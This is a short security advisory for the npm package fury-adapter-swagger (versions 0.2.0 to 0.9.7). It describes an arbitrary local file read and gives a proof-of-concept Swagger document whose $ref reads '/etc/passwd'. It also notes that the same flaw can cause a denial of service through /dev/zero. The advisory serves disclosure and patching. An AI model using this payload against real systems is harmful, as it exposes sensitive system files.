fury-adapter-swagger from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like /dev/zero.

Proof of Concept:

---
swagger: '2.0'
info:
  title: Read local files
  version: '1.0'

paths:
  /foo:
    get:
      responses:
        200:
          description: Some description
          examples:
            text/html:
              example:
                $ref: '/etc/passwd'

Recommendation

Upgrade to version 0.9.7 or later.

References

• https://www.npmjs.com/advisories/305
• apiaryio/fury-adapter-swagger#89
• apiaryio/fury-adapter-swagger@777e2d6
• apiaryio/fury-adapter-swagger@f4407e3#diff-54c345dc104dc19440f9c2482b7883df820e8b9b699fdd8fa07e2773e7197a29
• https://security.snyk.io/vuln/npm:fury-adapter-swagger:20161024